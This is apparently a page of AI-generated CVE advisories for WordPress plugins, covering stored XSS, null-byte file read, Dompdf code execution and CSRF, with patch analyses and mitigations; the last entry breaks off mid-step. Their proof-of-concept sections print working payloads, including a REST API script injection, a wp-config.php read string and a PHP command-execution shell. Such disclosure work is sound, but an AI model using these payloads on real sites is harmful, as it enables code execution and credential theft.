workspace / advisories · 96 writeups

Advisories & PoCs

CVE writeups generated from PatchLeaks analyses. Each entry links back to its source diff.

Reports + New analysis
96
total advisories
10
on this page
10
pages
CVE-2025-14635 Dec 24, 2025

CVE-2025-14635

I've prepared a comprehensive security analysis of CVE-2025-14635. Here's the complete article covering all requested sections: --- # CVE-2025-14635: Stored XSS and Authorization Bypass in Happy Addons for Elementor ## 1. Vulnerability Background ### What is This Vulnerability? CVE-2025-14635 represents a critical security flaw combining **Improper Access Control (CWE-639)** and **Stored Cross-Site Scripting (CWE-79)** in the Happy Addons for Elementor WordPress plugin. The vulnerability exists in the `before_save_data()` method within `extensions/custom-js.php`. The `ha_page_custom_js` parameter—designed to be restricted exclusively to Administrators—is accessible to Contributor-level users and above due to a logical flaw in authorization enforcement. This allows non-privileged users to inject arbitrary JavaScript that persists in the database and executes for all page visitors. ### Why is This Critical? 1. **Wide Attack Surface:** Happy Addons for Elementor is widely used across thousands of WordPress sites 2. **Low Privilege Barrier:** Only requires Contributor-level access, commonly granted to content creators and guest authors 3. **Persistent Threat:** Malicious code stored in the database executes indefinitely until manually removed 4. **Privilege Escalation Vector:** Injected JavaScript can steal admin credentials, create backdoor accounts, or harvest sensitive data 5. **Silent Exploitation:** Difficult to detect as it requires no ongoing attacker presence ### Affected Systems - **Plugin:** Happy Addons for Elementor - **Vulnerable Versions:** All versions up to and including 3.20.3 - **Fixed Version:** 3.20.4+ - **Impact:** Any WordPress site with the plugin installed and users having Contributor access or above --- ## 2. Technical Details ### Root Cause Analysis The vulnerability stems from a logical error in the authorization check. The original code uses a compound condition with the AND operator: ```php if ( isset( $data['settings']['ha_page_custom_js'] ) && isset( $page_setting['ha_page_custom_js'] ) ) { // Restore previous value } ``` **The Critical Flaw:** When a non-admin user attempts to inject custom JS on a page that **never previously had custom JS**, the second condition fails: - `$page_setting['ha_page_custom_js']` is unset/null - The AND condition evaluates to FALSE - The protective code block is skipped entirely - The malicious JavaScript passes through unchanged and gets saved to the database This is a classic **negative security logic failure**—the defense only works under specific conditions, leaving gaps in other scenarios. ### Old Code vs New Code **Vulnerable Code:** ```php public function before_save_data( $data ) { if ( ! current_user_can( 'administrator' ) ) { $page_setting = get_post_meta( get_the_ID(), '_elementor_page_settings', true ); if ( isset( $data['settings']['ha_page_custom_js'] ) && isset( $page_setting['ha_page_custom_js'] ) ) { $prev_js = isset( $page_setting['ha_page_custom_js'] ) ? trim( $page_setting['ha_page_custom_js'] ) : ''; $data['settings']['ha_page_custom_js'] = $prev_js; } } return $data; } ``` **Problems:** - No handling for new custom JS on pages without previous values - Only restores; doesn't actively prevent injection - Fallthrough behavior allows bypass **Patched Code:** ```php public function before_save_data( $data ) { if ( ! current_user_can( 'administrator' ) && isset( $data['settings']['ha_page_custom_js'] ) ) { $page_setting = get_post_meta( get_the_ID(), '_elementor_page_settings', true ); if ( isset( $page_setting['ha_page_custom_js'] ) ) { // Restore previous value if it exists. $data['settings']['ha_page_custom_js'] = trim( $page_setting['ha_page_custom_js'] ); } else { // Remove any custom JS attempt from non-admin users unset( $data['settings']['ha_page_custom_js'] ); } } return $data; } ``` **Improvements:** - Early exit optimization: `&& isset( $data['settings']['ha_page_custom_js'] )` - Explicit if/else handling for both scenarios - Active removal via `unset()` when no previous value exists - Clear protective intent with comments ### How These Changes Fix the Vulnerability | Scenario | Vulnerable | Fixed | |----------|-----------|-------| | Admin saves custom JS | ✓ Allowed | ✓ Allowed | | Non-admin modifies existing JS | ✓ Blocked (restored) | ✓ Blocked (restored) | | **Non-admin on page WITHOUT existing JS** | **❌ VULNERABLE** | **✓ Blocked (unset)** | | Non-admin doesn't modify JS | ✓ Unchanged | ✓ Unchanged | The critical fix: **explicit removal** (`unset()`) instead of passive filtering that failed under edge cases. --- ## 3. Proof of Concept (PoC) Guide ### Prerequisites 1. Active WordPress installation with Happy Addons ≤ 3.20.3 2. Contributor-level or higher user account 3. At least one Elementor-built page 4. HTTP request inspection tools (browser DevTools or Burp Suite) ### Step-by-Step Exploitation **Manual Method via Admin Interface:** 1. Login with Contributor account 2. Navigate to Pages → Edit Elementor page 3. Open page settings (gear icon) 4. Locate Custom JavaScript field (if visible) or use API 5. Inject payload: ```javascript document.body.innerHTML += '<div style="background:red">COMPROMISED</div>'; ``` 6. Save and publish 7. Access page as non-logged-in visitor 8. Observe injected content **Direct API Method:** ```bash # Obtain authentication token TOKEN=$(curl -s -X POST https://target.com/wp-json/jwt-auth/v1/token \ -H "Content-Type: application/json" \ -d '{"username":"contributor","password":"pass"}' | jq -r '.token') # Inject XSS via REST API curl -X POST https://target.com/wp-json/wp/v2/pages/42 \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"meta":{"_elementor_page_settings":{"ha_page_custom_js":"alert(\"XSS\")"}}}' # Verify by accessing page curl https://target.com/vulnerable-page/ | grep -i "ha_page_custom_js" ``` ### Expected vs Exploited Behavior **Secure System:** - Non-admin submits custom JS → System removes it → Database unchanged **Vulnerable System:** - Non-admin submits custom JS on new page → System skips protection → Database compromised → All visitors execute JavaScript ### Verification Methods **Check Plugin Version:** ```bash grep "Version:" /var/www/html/wp-content/plugins/happy-elementor-addons/readme.txt ``` **Database Audit:** ```sql SELECT post_id, post_title, meta_value FROM wp_postmeta pm JOIN wp_posts p ON pm.post_id = p.ID WHERE meta_key = '_elementor_page_settings' AND meta_value LIKE '%ha_page_custom_js%'; ``` **Manual Testing:** 1. Create test page with Elementor 2. Login as Contributor 3. Attempt `alert('test')` in custom JS field 4. Logout and view page 5. Alert appearing = vulnerable --- ## 4. Recommendations ### Mitigation Strategies **Immediate Actions:** 1. **Update Plugin** ```bash wp plugin update happy-elementor-addons ``` 2. **Audit Existing Pages** ```sql -- Find all pages with custom JS SELECT p.ID, p.post_title FROM wp_posts p JOIN wp_postmeta pm ON p.ID = pm.post_id WHERE pm.meta_key = '_elementor_page_settings' AND pm.meta_value LIKE '%ha_page_custom_js%'; ``` 3. **Review User Access** - Dashboard → Users - Identify suspicious Contributor accounts - Check for unauthorized user creation - Review edit histories 4. **Restore from Clean Backup** - If malicious content found, restore from backup before vulnerability date - Verify clean state ### Detection Methods **Log-Based Detection:** ```bash # Monitor for suspicious REST API activity grep 'POST /wp-json/wp/v2/pages' access.log | grep -v '"200"' # Search for custom JS parameter grep 'ha_page_custom_js' access.log ``` **Real-Time Monitoring (PHP):** ```php add_action( 'pre_post_update', function( $post_id, $post ) { if ( ! current_user_can( 'manage_options' ) && isset( $_POST['_elementor_page_settings']['ha_page_custom_js'] ) && ! empty( $_POST['_elementor_page_settings']['ha_page_custom_js'] ) ) { error_log( sprintf( 'SECURITY ALERT: %s attempted to set custom JS on page %d', wp_get_current_user()->user_login, $post_id )); wp_die( 'Custom JavaScript restricted to administrators' ); } }, 10, 2 ); ``` ### Best Practices 1. **Whitelist-Based Authorization** ```php // WRONG: Only block if dangerous if ( ! matches_evil_pattern( $input ) ) { process(); } // RIGHT: Only allow if safe if ( is_valid_format( $input ) ) { process(); } ``` 2. **Use WordPress Security Functions** - `sanitize_text_field()` for input - `esc_html()` for output - `wp_kses_post()` for HTML - `check_admin_referer()` for nonces 3. **Explicit Edge Case Handling** ```php if ( condition ) { // Do something } else { // Explicitly handle "do nothing" case unset( $dangerous_value ); } ``` 4. **Security Testing** - Unit tests for authorization bypass - Test edge cases (empty, null, missing values) - Test both allowed and blocked scenarios 5. **Defense-in-Depth** - Input validation → Sanitization → Authorization → Output escaping → Monitoring --- ## Summary CVE-2025-14635 is a critical vulnerability allowing authenticated users with minimal privileges (Contributor) to inject persistent malicious JavaScript affecting all site visitors. The root cause is a logical flaw in the authorization check that fails when no previous custom JavaScript exists. **Key Actions:** 1. Update to version 3.20.4+ 2. Audit pages for suspicious custom JavaScript 3. Review user access logs 4. Implement real-time monitoring 5. Apply defense-in-depth security practices The vulnerability is easily exploitable with high impact potential, making immediate patching essential.
CVE-2025-14388 Dec 24, 2025

CVE-2025-14388

## 1. Vulnerability Background What is this vulnerability? - CVE-2025-14388 is an unauthenticated arbitrary file read vulnerability in the PhastPress WordPress plugin. - The issue is caused by a mismatch between extension validation and filesystem path normalization in `sdk/phast.php`. - Attackers can use a specially crafted URL containing a double URL-encoded null byte `%2500` plus an allowed extension like `.txt` to make the plugin treat an arbitrary file as if it were a safe text file. Why is it critical/important? - This is a remote, unauthenticated vulnerability. - It allows arbitrary file reads from the webroot. - Sensitive files such as `wp-config.php` may be disclosed. - Disclosure of `wp-config.php` can expose database credentials, authentication keys, and other secrets used by WordPress. - Because the vulnerability is in a plugin, it affects any site using that plugin regardless of the base WordPress version. What systems/versions are affected? - PhastPress versions up to and including 3.7. - Any WordPress installation using the vulnerable plugin and exposing the affected file retrieval functionality. ## 2. Technical Details Root cause analysis - The vulnerable code performs extension validation on the decoded URL path, not on the normalized filesystem path. - `guard()` first calls `getExtensionForURL($url)` and checks that returned extension against allowed extensions. - The extension extraction function uses `strrpos($url->getDecodedPath(), '.')` to identify the last dot. - Later, the code resolves the actual file path via `getFileForURL($url)`. - `appendNormalized()` in the file resolution process strips everything after a null byte before constructing the filesystem path. - This creates a validation gap: the URL looks safe, but after normalization the actual file is different. Attack vector and exploitation conditions - The attacker must be able to trigger the plugin’s file access path. - The plugin accepts a URL or path and normalizes it before reading a file. - An attacker supplies a payload like: - `../wp-config.php%2500.txt` - On URL-decoded path analysis, the string appears to end in `.txt`, an allowed extension. - During normalization, the `%2500` payload becomes a null byte boundary and truncates the path to `../wp-config.php`. - The plugin then reads the actual file from disk, bypassing the extension whitelist. Security implications - Arbitrary file read from webroot. - Disclosure of configuration files, source code, and other sensitive data. - Possible exposure of WordPress database credentials and secret keys. - May facilitate further compromise or targeted attacks against the site. ## 3. Patch Analysis What code changes were made? - The patch changes `guard()` to resolve the file path before checking the extension. - Old sequence: - validate extension from decoded URL path - resolve file path - New sequence: - resolve file path - validate extension from resolved file path Old code: - `getExtensionForURL($url)` used `$url->getDecodedPath()` Fixed code: - `getExtension($file)` uses the actual resolved filename - `guard()` now: - calls `getFileForURL($url)` - returns false if resolution fails - validates `getExtension($file)` against allowed extensions How do these changes fix the vulnerability? - The extension check now uses the normalized filesystem path, after null-byte handling and path normalization. - A payload such as `../wp-config.php%2500.txt` resolves to `../wp-config.php`. - `getExtension($file)` returns `php`, which is not in the allowed list. - The callback is never executed for disallowed file types. Security improvements introduced - Validation occurs after canonicalization. - The check is based on the actual file that will be used, not on a potentially manipulated URL string. - This removes the gap that allowed encoded null-byte bypasses and similar URL manipulation techniques. ## 4. Proof of Concept (PoC) Guide Prerequisites for exploitation - A WordPress site with PhastPress plugin version 3.7 or earlier installed. - The vulnerable endpoint exposed and reachable over HTTP(S). - Ability to send crafted requests to the plugin’s file retrieval endpoint. Step-by-step exploitation approach 1. Identify the plugin’s file access endpoint and parameter naming. - The vulnerability exists in `sdk/phast.php`, so look for requests routed through that script or related plugin endpoints. 2. Craft a payload targeting a sensitive file in the webroot. - Example payload: `../wp-config.php%2500.txt` 3. Send the request to the vulnerable endpoint. - If the endpoint accepts a URL path parameter, inject the payload there. 4. Observe the response for the contents of the target file. Expected behavior vs exploited behavior - Expected behavior on a patched system: - The request is rejected or returns an error. - The plugin denies access because the resolved file extension is not allowed. - Exploited behavior on a vulnerable system: - The plugin returns the contents of the target file. - If `wp-config.php` is targeted, the response may include database credentials and authentication keys. How to verify the vulnerability exists - Verify the plugin version is <= 3.7. - Send a crafted request containing `..` traversal plus `%2500` and a safe extension. - Confirm the response includes sensitive contents or the expected file data. - A safe verification can also be done against a non-sensitive file known to exist in the webroot. - Check logs for requests containing `%2500` or similar null-byte injection patterns. ## 5. Recommendations Mitigation strategies - Apply the patch or update PhastPress to a version later than 3.7. - If patching is not immediately possible, disable the plugin or restrict access to the vulnerable endpoint. - Restrict webserver exposure to plugin internals that perform file reads. Detection methods - Monitor web server logs for requests containing `%2500`, `%00`, and unusual trailing extensions. - Look for access attempts with payloads such as `../wp-config.php%2500.txt`. - Use host-based intrusion detection to flag access to sensitive files through plugin endpoints. Best practices to prevent similar issues - Validate user-controlled input after normalization and canonicalization. - Do not rely on raw URL text for security decisions when the actual filesystem path may differ. - Normalize and resolve paths before enforcing allowlists or extension checks. - Handle encoded characters and null bytes consistently across parsing and file access code. - Use explicit allowlists for permitted file paths and extensions, and avoid dynamic file access where possible. - Employ static and dynamic security testing focused on path normalization, null-byte injection, and URL encoding edge cases.
CVE-2025-13773 Dec 24, 2025

CVE-2025-13773

## 1. Vulnerability Background - What is this vulnerability? - CVE-2025-13773 is an unauthenticated remote code execution (RCE) vulnerability in the Print Invoice & Delivery Notes for WooCommerce WordPress plugin. - The root cause is a combination of insecure PDF generation configuration and missing access control / escaping in the plugin. - Specifically, Dompdf was configured with `isPhpEnabled = true`, allowing embedded PHP code inside the generated HTML to execute on the server. - Why is it critical/important? - RCE is one of the highest-impact vulnerabilities for web applications. - An attacker can execute arbitrary PHP code with the privileges of the web server process. - This can lead to full site compromise, data exfiltration, credential theft, pivoting to other infrastructure, and persistent backdoors. - What systems/versions are affected? - All versions of Print Invoice & Delivery Notes for WooCommerce up to and including 5.8.0. - The issue is present wherever the plugin uses Dompdf for PDF rendering and retains the insecure configuration. ## 2. Technical Details - Root cause analysis - The core issue is insecure Dompdf configuration in `includes/front/wcdn-front-function.php`. - Old code: - `options->set( 'isPhpEnabled', true );` - With this option set, Dompdf evaluates PHP code found in HTML content during PDF generation. - This is unsafe when any of the rendered content may be influenced by user input. - The CVE description also identifies additional weaknesses: - missing capability check in `WooCommerce_Delivery_Notes::update` - missing output escaping in `template.php` - These weaknesses create an exploitable chain: unauthenticated access combined with injection of PHP-capable content into the PDF renderer. - Attack vector and exploitation conditions - An attacker needs: - the vulnerable plugin installed, - access to a function or field that is included in the HTML sent to Dompdf, - the ability to trigger PDF generation or update the delivery note content. - The likely chain: 1. The attacker injects PHP code into a user-controllable field or template variable. 2. The plugin generates a delivery note/invoice PDF using Dompdf. 3. Dompdf evaluates the embedded PHP code because `isPhpEnabled` is enabled. 4. The injected PHP executes on the server. - The missing capability check means the attacker may not need to be authenticated to reach the vulnerable update path. - Security implications - Arbitrary code execution on the web server. - Potential compromise of the WordPress site and host environment. - Ability to execute system commands, install backdoors, modify files, or exfiltrate data. - RCE via a plugin used in ecommerce sites is especially dangerous because it may include payment, customer, and order data. ## 3. Patch Analysis - What code changes were made? - In `includes/front/wcdn-front-function.php`, the Dompdf option was changed from: - `options->set( 'isPhpEnabled', true );` - to: - `options->set( 'isPhpEnabled', false );` - How do these changes fix the vulnerability? - Disabling `isPhpEnabled` prevents Dompdf from executing PHP embedded in HTML content. - Any injected `<?php ... ?>` payload is no longer evaluated by the PDF renderer. - This removes the code execution vector provided by Dompdf, which is the critical exploitation mechanism. - Security improvements introduced - Changes the Dompdf configuration to a secure default. - Eliminates a dangerous capability that should never be enabled for untrusted content. - Reduces the attack surface of PDF generation in the plugin. - Note: while this fix addresses the Dompdf vector, the broader issue also requires proper authorization checks and escaping elsewhere in the plugin. ## 4. Proof of Concept (PoC) Guide - Prerequisites for exploitation - WordPress site running Print Invoice & Delivery Notes for WooCommerce version 5.8.0 or earlier. - Plugin uses Dompdf for PDF generation. - Attacker can influence content that is rendered in the delivery note or invoice HTML. - Vulnerable path accessible without sufficient authorization (as indicated by the missing capability check). - Step-by-step exploitation approach 1. Identify a field or template variable included in generated PDF output. 2. Inject PHP code, e.g.: - `<?php system($_GET['cmd']); ?>` 3. Trigger the plugin’s PDF generation routine for an invoice or delivery note. 4. Access the generated PDF endpoint with a command parameter, for example: - `?cmd=id` 5. Observe the command output or side effects in the response or server behavior. - Expected behavior vs exploited behavior - Expected behavior: - The plugin generates a PDF from HTML content and returns a delivery note or invoice PDF. - No server-side PHP execution occurs from user-supplied content. - Exploited behavior: - The injected PHP payload is executed during PDF generation. - Arbitrary commands run on the server as the web server user. - How to verify the vulnerability exists - Confirm plugin version is <= 5.8.0. - Inspect `includes/front/wcdn-front-function.php` and verify `isPhpEnabled` is set to `true`. - Test whether user-controlled content appears in the rendered PDF HTML. - Attempt a non-destructive probe payload and observe whether PHP execution occurs. ## 5. Recommendations - Mitigation strategies - Upgrade the plugin to a patched version where `isPhpEnabled` is disabled. - If patching immediately is not possible, disable or remove the affected PDF generation functionality. - Restrict access to plugin endpoints with proper capability checks and authentication. - Detection methods - Monitor web logs for requests containing PHP tags (`<?php`) to plugin endpoints. - Look for unusual POSTs/GETs targeting delivery note or update routes. - Audit plugin files for insecure Dompdf configuration and missing access controls. - Use host-based detection for unexpected PHP execution from the plugin process. - Best practices to prevent similar issues - Never enable PHP execution in template or rendering engines for untrusted content. - Apply least privilege to all admin/update functions: verify capabilities before performing updates. - Escape all output in templates and avoid rendering raw user input. - Use secure default settings for third-party libraries. - Perform regular code reviews of plugin modules that handle rich content and file generation.
CVE-2025-14000 Dec 24, 2025

CVE-2025-14000

## 1. Vulnerability Background - What is this vulnerability? - CVE-2025-14000 is a stored Cross-Site Scripting (XSS) vulnerability in the Membership Plugin – Restrict Content WordPress plugin. It affects the plugin's handling of shortcode attributes in the `register_form` and `restrict` shortcodes. - Why is it critical/important? - Stored XSS allows an attacker to persist malicious script content in the site database. When a victim views a page containing the injected shortcode output, the script executes in the victim’s browser under the site’s origin. This can lead to session theft, privilege escalation, content manipulation, and arbitrary actions on behalf of authenticated users. - What systems/versions are affected? - All versions of the Membership Plugin – Restrict Content up to and including 3.2.15 are affected. ## 2. Technical Details - Root cause analysis - The plugin fails to sanitize and escape user-controlled shortcode attributes before outputting them. - In `core/includes/member-forms.php`, the `registered_message` value is echoed directly: - `echo $rcp_register_form_atts['registered_message'];` - In `core/includes/shortcodes.php`, several shortcode attributes are used without sanitization: - `userlevel`, `subscription`, `message`, `id`, `ids`, `logged_out_header`, `logged_in_header`, and `registered_message`. - The common root cause is insufficient input validation and missing output escaping for attributes that can be populated from post content by authenticated users. - Attack vector and exploitation conditions - The attacker needs authenticated contributor-level access or above. - The attacker places malicious shortcode attributes into a post or page using the affected shortcodes. - When the page is rendered, the plugin outputs the stored attribute values into HTML without proper sanitization, allowing script execution in any visitor’s browser. - This is a stored XSS scenario, since the malicious payload is persisted and later served to other users. - Security implications - Any user viewing an injected page may execute attacker-controlled JavaScript. - Privilege escalation is possible if the payload targets admin or editor sessions. - Data theft, cookie/session capture, unwanted actions, and site-level abuse are all possible outcomes. - The fact that contributor-level users can trigger it broadens the attacker model beyond only admins. ## 3. Patch Analysis - What code changes were made? - In `core/includes/member-forms.php`, output of `registered_message` was changed from raw echo to sanitized output: - from `echo $rcp_register_form_atts['registered_message'];` - to `echo wp_kses_post( $rcp_register_form_atts['registered_message'] );` - In `core/includes/shortcodes.php`, shortcode attributes were sanitized before use: - `userlevel` and `subscription` now use `sanitize_text_field()` - `message`, `logged_out_header`, `logged_in_header`, and `registered_message` now use `wp_kses_post()` - `id` now uses `absint()` - `ids` now uses `implode( ',', array_filter( array_map( 'absint', array_map( 'trim', explode( ',', $atts['ids'] ) ) ) ) )` - A non-security formatting cleanup was made around a stray whitespace in HTML markup. - How do these changes fix the vulnerability? - `wp_kses_post()` removes unsafe HTML and script content while preserving safe post markup, preventing malicious JavaScript from being rendered. - `sanitize_text_field()` strips tags and invalid characters from plain-text attributes, preventing injection via those fields. - `absint()` enforces integer values for numeric identifiers. - Sanitizing and validating all shortcode inputs closes the injection channels that led to stored XSS. - Security improvements introduced - Output escaping is enforced for user-controlled content. - Shortcode attribute values are normalized to expected data types. - The patch reduces the attack surface by ensuring that arbitrary HTML and scripts are not spontaneously rendered from shortcode attributes. ## 4. Proof of Concept (PoC) Guide - Prerequisites for exploitation - Vulnerable plugin version installed (≤ 3.2.15) - Authenticated user with contributor-level access or higher - Ability to create or edit a post or page containing the plugin’s shortcodes - Step-by-step exploitation approach 1. Log in as a contributor or higher. 2. Create or edit a page/post containing the affected shortcode. 3. Inject a malicious script payload into a shortcode attribute, for example: - `[register_form registered_message="<script>alert('XSS')</script>"]` - or `[restrict message="<img src=x onerror=alert('XSS')>"]` 4. Save the content. 5. Load the page as another user or in a separate browser session. 6. Observe whether the payload executes. - Expected behavior vs exploited behavior - Expected behavior on a secure site: shortcode attributes are rendered as plain text or sanitized HTML, with no executable script. - Exploited behavior on a vulnerable site: the injected script runs in the browser, demonstrating stored XSS. - How to verify the vulnerability exists - Identify pages containing the affected shortcodes. - Inject a benign, observable payload via shortcode attributes. - Confirm execution when the page is loaded. - Alternatively, inspect the plugin source for raw output of user-controlled shortcode values and absence of sanitization/escaping. ## 5. Recommendations - Mitigation strategies - Update the Membership Plugin – Restrict Content to a patched version beyond 3.2.15. - If patching immediately is not possible, restrict contributor/edit access and audit content for injected shortcodes. - Disable shortcode rendering for untrusted users where feasible. - Detection methods - Scan WordPress installations for plugin version and affected shortcode usage. - Use web application scanning tools configured to detect stored XSS in shortcode attributes. - Review content for suspicious shortcode payloads containing `<script>`, `onerror=`, or other inline event handlers. - Monitor user-submitted content from contributor-level accounts in the affected plugin context. - Best practices to prevent similar issues - Always validate and sanitize shortcode attributes on input. - Always escape output before rendering user-supplied data. - Use WordPress sanitization APIs (`sanitize_text_field()`, `wp_kses_post()`, `absint()`, etc.) consistently. - Treat shortcode attributes as untrusted input even when provided by authenticated users. - Apply the principle of least privilege to editor/contributor roles and review plugin code for direct echo of user-supplied values.
CVE-2025-14548 Dec 24, 2025

CVE-2025-14548

## 1. Vulnerability Background - What is this vulnerability? - CVE-2025-14548 is a stored cross-site scripting (XSS) vulnerability in the Calendar plugin for WordPress. It is triggered through the `event_desc` parameter when event data is created or updated. - The vulnerability occurs because user-supplied data from `$_REQUEST` is accepted and persisted without adequate sanitization, allowing HTML/JavaScript payloads to survive storage and execute later when a page renders the injected event description. - Why is it critical/important? - Stored XSS is high-risk because it can affect any user who views the compromised content, including site administrators. - In this case, an attacker with Contributor-level access or above can poison calendar event content. If an administrator has configured the plugin to allow lower-privilege users to manage events, the attacker can inject scripts that execute in the browser of any visitor or administrator. - The attack can lead to session theft, privilege escalation, unauthorized actions, and persistence inside the WordPress site. - What systems/versions are affected? - All versions of the Calendar plugin up to and including 1.3.16 are affected. - The issue exists in the plugin’s main file `calendar.php` and is triggered by the event creation/update workflow. ## 2. Technical Details - Root cause analysis - The vulnerable code reads request data directly from `$_REQUEST` and applies only `stripslashes()`: - `stripslashes($_REQUEST['event_desc'])` - `stripslashes()` only removes backslashes from slashed input and does not sanitize or escape HTML or script content. - The plugin then uses these values in its event handling logic and eventually renders them in calendar pages without sufficient output escaping. - Attack vector and exploitation conditions - Attacker role: authenticated user with Contributor-level access or above. - Condition: administrator has enabled lower-privilege users to manage calendar events via plugin settings. - Attack flow: 1. Attacker submits a calendar event with a malicious payload in `event_desc` (for example `<script>alert(1)</script>` or `<img src=x onerror=...>`). 2. The payload is stored in the plugin’s event data. 3. When another user views the calendar page containing that event, the payload is delivered from storage and executed in the victim’s browser. - Security implications - Stored XSS in a WordPress plugin is particularly dangerous because it can execute in the context of an authenticated administrator session. - Potential impacts: - theft of authentication cookies or tokens - creation of persistent administrative backdoors - unauthorized changes to site configuration or content - use of the site as an XSS delivery vector for phishing or malware - Since the plugin also used `$_REQUEST` for multiple event fields, the attack surface extends beyond `event_desc`. ## 3. Patch Analysis - What code changes were made? - The patch replaces direct `$_REQUEST` handling and `stripslashes()` with: - `wp_unslash($_REQUEST['...'])` - `wp_kses_post(...)` - Example change: - Old: `$desc = !empty($_REQUEST['event_desc']) ? stripslashes($_REQUEST['event_desc']) : '';` - New: `$desc = !empty($_REQUEST['event_desc']) ? wp_kses_post(wp_unslash($_REQUEST['event_desc'])) : '';` - The same sanitization pattern was applied to related event fields: title, begin, end, time, recur, repeats, category, link. - Additional nonce handling was hardened in `calendar.php`: - old: `if (wp_verify_nonce($_POST['_wpnonce'],'calendar-add') == false) {` - new: `if (!isset($_POST['_wpnonce']) || wp_verify_nonce(sanitize_text_field(wp_unslash($_POST['_wpnonce'])),'calendar-add') == false) {` - How do these changes fix the vulnerability? - `wp_unslash()` normalizes WordPress-escaped input by removing added slashes, ensuring the raw user data is available for sanitization. - `wp_kses_post()` strips disallowed HTML tags and attributes, blocking script tags and dangerous event handlers from being stored in event fields. - The improved nonce check ensures that the request token is present and sanitized before verification, reducing risk from malformed or injected nonce values and preventing potential fatal errors. - Security improvements introduced - Input is now sanitized before it is persisted, reducing the chance of stored XSS. - A central sanitization routine is applied consistently across event fields. - Nonce validation is made more robust with explicit presence checks and sanitization. - The patch moves the plugin toward better WordPress security API usage. ## 4. Proof of Concept (PoC) Guide - Prerequisites for exploitation - WordPress installation with Calendar plugin version 1.3.16 or earlier. - Attacker account with Contributor-level access or higher. - Administrator has enabled the capability for lower-privilege users to manage calendar events. - Step-by-step exploitation approach 1. Authenticate as a Contributor or equivalent user. 2. Access the calendar event creation or edit interface. 3. Set event description (`event_desc`) to a malicious payload: - Example: `<script>fetch('/wp-admin/admin-ajax.php?...')</script>` 4. Submit the event. 5. Visit the calendar page or any page where the event description is rendered. 6. Observe the injected script executing in the browser context of the viewer. - Expected behavior vs exploited behavior - Expected behavior: - Event description should be treated as text or sanitized HTML. - No embedded scripts should execute. - Exploited behavior: - Malicious HTML/JavaScript persists in the database. - The payload executes when the event page is rendered. - How to verify the vulnerability exists - Confirm the plugin version is <=1.3.16. - Create or update an event with a simple payload like `<script>alert('XSS')</script>` in `event_desc`. - View the calendar page as another user. - If the alert triggers, the stored XSS is present. - On the patched version, the payload should be stripped or neutralized by `wp_kses_post()`. ## 5. Recommendations - Mitigation strategies - Apply the patched version of the Calendar plugin immediately. - If patching is not possible, restrict event management to trusted roles and disable lower-privilege event editing. - Use Web Application Firewalls (WAFs) configured to detect XSS payloads in request bodies. - Detection methods - Review plugin source for direct use of `$_REQUEST`, `stripslashes()`, and missing `wp_kses_*` or `sanitize_*`. - Scan for stored event descriptions containing `<script>` or inline event handlers. - Monitor administrative and event-management actions for anomalous POST submissions. - Use automated vulnerability scanners that detect WordPress plugin XSS issues. - Best practices to prevent similar issues - Never trust client-supplied input; validate and sanitize all data before storage. - Use WordPress API functions appropriate to the data context: - `wp_unslash()` for raw request normalization - `sanitize_text_field()` for plain text - `wp_kses_post()` for limited HTML - `esc_html()`, `esc_attr()`, or `esc_url()` on output - Avoid using `$_REQUEST`; prefer `$_POST` or `$_GET` explicitly based on expected request method. - Implement and verify nonce checks consistently for state-changing actions. - Perform code review and security testing for plugin input handling and rendering paths.
CVE-2025-14163 Dec 24, 2025

CVE-2025-14163

## 1. Vulnerability Background What is this vulnerability? - CVE-2025-14163 is a Cross-Site Request Forgery (CSRF) vulnerability in the Premium Addons for Elementor WordPress plugin. - The flaw exists in the `insert_inner_template()` AJAX handler in `includes/templates/classes/manager.php`. - The vulnerable function performs a capability check but omits nonce validation, which is the standard CSRF protection mechanism in WordPress. Why is it critical/important? - The vulnerable endpoint allows creation of Elementor templates. - An attacker can leverage a logged-in user with `edit_posts` capability to issue forged requests. - CSRF on admin-level actions is serious because it can allow unauthorized changes to content and site configuration without requiring direct authentication by the attacker. - Since the action is exposed via AJAX, the attack surface includes browser-initiated requests from any site that can induce the victim’s browser to connect to the target WordPress installation. What systems/versions are affected? - Premium Addons for Elementor plugin for WordPress - All plugin versions up to and including 4.11.53 - The vulnerability is present in the AJAX handler implementation regardless of the surrounding plugin version, until patched. ## 2. Technical Details Root cause analysis - The vulnerable code is in `includes/templates/classes/manager.php`. - `insert_inner_template()` begins by checking `current_user_can( 'edit_posts' )` but does not validate a nonce. - In WordPress, capability checks ensure the user has privileges, but they do not prevent CSRF because browsers automatically include authentication cookies in cross-site requests. - The missing call to `check_ajax_referer()` means the endpoint accepts any request from a valid session without verifying that the request originated from a trusted UI. Attack vector and exploitation conditions - Attacker requirements: - ability to craft a request to the target site’s `admin-ajax.php` endpoint - knowledge that the site runs the vulnerable plugin - a victim authenticated to that site with `edit_posts` capability - Exploitation: - attacker tricks the victim into visiting a malicious page or clicking a crafted link - the victim’s browser sends the forged request with the victim’s session cookies - the vulnerable handler executes and creates an Elementor template as specified by the attacker - The attack is possible without the attacker knowing the victim’s password, because it relies on the victim’s active session and browser behavior. Security implications - Arbitrary creation of Elementor templates can allow: - injection of malicious or unwanted page content - persistence of unauthorized template data - manipulation of page builder assets used by other site users - Because the action requires `edit_posts`, the attack can affect editors, administrators, and any user role granted that capability. - This can be used as a foothold to prepare content for later manual publication or to stage further attacks against site visitors. ## 3. Patch Analysis What code changes were made? - Original code: public function insert_inner_template() { if ( ! current_user_can( 'edit_posts' ) ) { wp_send_json_error(); } - Patched code: public function insert_inner_template() { check_ajax_referer( 'pa-templates-nonce', 'nonce' ); if ( ! current_user_can( 'edit_posts' ) ) { wp_send_json_error(); } How do these changes fix the vulnerability? - `check_ajax_referer( 'pa-templates-nonce', 'nonce' );` - verifies the nonce value supplied in the request parameter named `nonce` - ensures the request is tied to a valid user session and the original page context - rejects the request if the nonce is missing, invalid, or expired - This prevents unauthorized third-party sites from forging requests, because they cannot obtain a valid nonce from the target site. Security improvements introduced - Restores proper CSRF protection for the AJAX endpoint. - Keeps the existing privilege check while adding the missing request authenticity check. - Brings the endpoint into compliance with WordPress AJAX security best practices. ## 4. Proof of Concept (PoC) Guide Prerequisites for exploitation - A WordPress installation running Premium Addons for Elementor version 4.11.53 or earlier - A target user authenticated in the browser with the `edit_posts` capability - Attacker control over a web page or email that can induce the user’s browser to issue a request Step-by-step exploitation approach 1. Identify the relevant AJAX action name used by the plugin for `insert_inner_template()`. 2. Construct a request to `wp-admin/admin-ajax.php` including: - `action=<plugin_ajax_action>` - payload fields required by the template insertion logic - no valid `nonce` parameter 3. Deliver the request via a CSRF vector: - an HTML form 